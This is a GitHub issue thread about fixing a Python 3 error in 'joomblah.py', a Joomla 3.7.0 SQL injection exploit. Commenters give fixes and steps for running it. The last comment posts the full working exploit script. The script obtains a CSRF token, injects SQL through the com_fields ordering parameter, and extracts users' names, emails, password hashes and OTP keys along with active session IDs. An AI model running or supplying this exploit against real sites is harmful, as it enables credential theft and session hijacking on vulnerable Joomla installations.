XiphosResearch / exploits

Miscellaneous exploit code
http://www.xiphosresearch.com/
1.52k stars 586 forks source link

Can only concatenate str #17

Open ghost opened 4 years ago

ghost commented 4 years ago

python joomblah.py http://10.xx.xx.xx.

Traceback (most recent call last): File "joomblah.py", line 186, in sys.exit(main("http://IP:8080/joomla")) File "joomblah.py", line 183, in main pwn_joomla_again(options) File "joomblah.py", line 147, in pwn_joomla_again tables = extract_joomla_tables(options, sess, token) File "joomblah.py", line 74, in extract_joomla_tables result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" ) File "joomblah.py", line 46, in joomla_370_sqli_extract result += value TypeError: can only concatenate str (not "bytes") to str

somesh-bhandarkar commented 4 years ago

Try explicitly casting the variable. eg. result += str(value)

stempst0r commented 4 years ago

Try explicitly casting the variable. eg. result += str(value)

Changing this, the script runs without an error, but the output is not satisfying at all. It looks like something is missing/cut off:


python3 joomblah.py http://10.XXX.XXX.XXX/
[-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: b'fb9j5_users'
  -  Extracting users from b'fb9j5_users'
  -  Extracting sessions from b'fb9j5_usession
samjain2907 commented 4 years ago

Getting the same error!

mild0wl commented 4 years ago

Do any one found the solution.

Scytex commented 4 years ago

Run the script using python2 instead of python3 if you get an error message about a missing request module, install it via pip.

0xhsn commented 4 years ago
  1. Install pip with Python2.7 curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py python2.7 get-pip.py
  2. Install the "requests" module python2.7 -m pip install requests
  3. Run the exploit python2.7 joomblah.py <IP>
mats-codes commented 3 years ago

Had the same issue. Created a pull request which contains a python3-compatible joombla.py file.

https://github.com/XiphosResearch/exploits/pull/18

owaisqaa commented 3 years ago

1.Install pip with Python2.7 ### curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py

python2.7 get-pip.py

2.Install the "requests" module

python2.7 -m pip install requests

3.Run the exploit ### python2.7 joomblah.py

Thanks timyc00k i just changed the first step.

theperrinpages commented 3 years ago
  1. Install pip with Python2.7 curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py python2.7 get-pip.py
  2. Install the "requests" module python2.7 -m pip install requests
  3. Run the exploit python2.7 joomblah.py <IP>

solved.. thanks

mosecund commented 3 months ago

This should work :


#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import os
import random
import time
import binascii

def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print(" [!] Cannot find CSRF token")
        return None
    return match.group(1)

def parse_options():
    parser = argparse.ArgumentParser(description='Jooma Exploit')
    parser.add_argument('url', help='Base URL for Joomla site')
    return parser.parse_args()

def build_sqli(colname, morequery):
    return "(SELECT " + colname + " " + morequery + ")"

def joomla_370_sqli_extract(options, sess, token, colname, morequery):
    sqli = build_sqli("LENGTH("+colname+")", morequery)
    length = joomla_370_sqli(options, sess, token, sqli)
    if not length:
        return None
    length = int(length)
    maxbytes = 30
    offset = 0
    result = ''
    while length > offset:
        sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)
        value = joomla_370_sqli(options, sess, token, sqli)
        if not value:
            print(" [!] Failed to retrieve string for query:", sqli)
            return None
        value = binascii.unhexlify(value).decode('utf-8')  # Decode bytes to string
        result += value
        offset += len(value)
    return result

def joomla_370_sqli(options, sess, token, sqli):
    sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"
    data = {
        'option': 'com_fields',
        'view': 'fields',
        'layout': 'modal',
        'list[fullordering]': sqli_full,
        token: '1',
    }
    resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False)
    match = re.search(r'XPATH syntax error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)
    if match:
        match = match.group(1).strip()
        if match[0] != ':' and match[-1] != ':':
            return None
        return match[1:-1]

def extract_joomla_tables(options, sess, token):
    tables = list()
    first = False
    offset = 0
    while True:
        result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
        if result is None:
            if first:
                print("[!] Failed to retrieve first table name!")
                return False
            break
        tables.append(result)
        print("  -  Found table:", result)
        first = False
        offset += 1
    return tables

def extract_joomla_users(options, sess, token, table_name):
    users = list()
    offset = 0
    first = False
    print("  -  Extracting users from", table_name)
    while True:
        result = joomla_370_sqli_extract(options, sess, token, "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)", "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )        
        if result is None:
            if first:
                print("[!] Failed to retrieve user from table!")
                return False
            break
        result = result.split('|')
        print(" [$] Found user",result)
        first = False
        offset += 1
        users.append(result)
    return users

def extract_joomla_sessions(options, sess, token, table_name):
    sessions = list()
    offset = 0
    first = False
    print("  -  Extracting sessions from", table_name)
    while True:
        result = joomla_370_sqli_extract(options, sess, token, "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0 LIMIT %d,1" % (table_name, offset) )        
        if result is None:
            if first:
                print("[!] Failed to retrieve session from table!")
                return False
            break
        result = result.split('|')
        print(" [$] Found session", result)
        first = False
        offset += 1
        sessions.append(result)
    return sessions

def pwn_joomla_again(options):
    sess = requests.Session()

    print(" [-] Fetching CSRF token")
    resp = sess.get(options.url + "/index.php/component/users/?view=login")
    token = extract_token(resp)
    if not token:
        return False

    # Verify that we can perform SQLi
    print(" [-] Testing SQLi")    
    result = joomla_370_sqli(options, sess, token, "128+127")    
    if result != "255":
        print(" [!] Could not find SQLi output!")
        return False

    tables = extract_joomla_tables(options, sess, token)

    for table_name in tables:
        table_prefix = table_name[:-5]
        extract_joomla_users(options, sess, token, table_name)
        extract_joomla_sessions(options, sess, token, table_prefix + 'session')

    return True

def print_logo():
    clear = "\x1b[0m"
    colors = [31, 32, 33, 34, 35, 36]

    logo = """                                                                                                                    
    .---.    .-'''-.        .-'''-.                                                           
    |   |   '   _    \     '   _    \                            .---.                        
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .           
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|           
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |           
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |           
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.    
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \   
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |   
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |   
 __.'   '                                              |/\'..' / '---'/ /   | |_| |     | |   
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.  
|____.'                                                                `--'  `" '---'   '---' 
"""
    for line in logo.split("\n"):
        sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
        #time.sleep(0.05)

def main(base_url):    
    options = parse_options()
    options.url = options.url.rstrip('/')
    print_logo()
    pwn_joomla_again(options)

if __name__ == "__main__":
    sys.exit(main("http://192.168.10.100:8080/joomla"))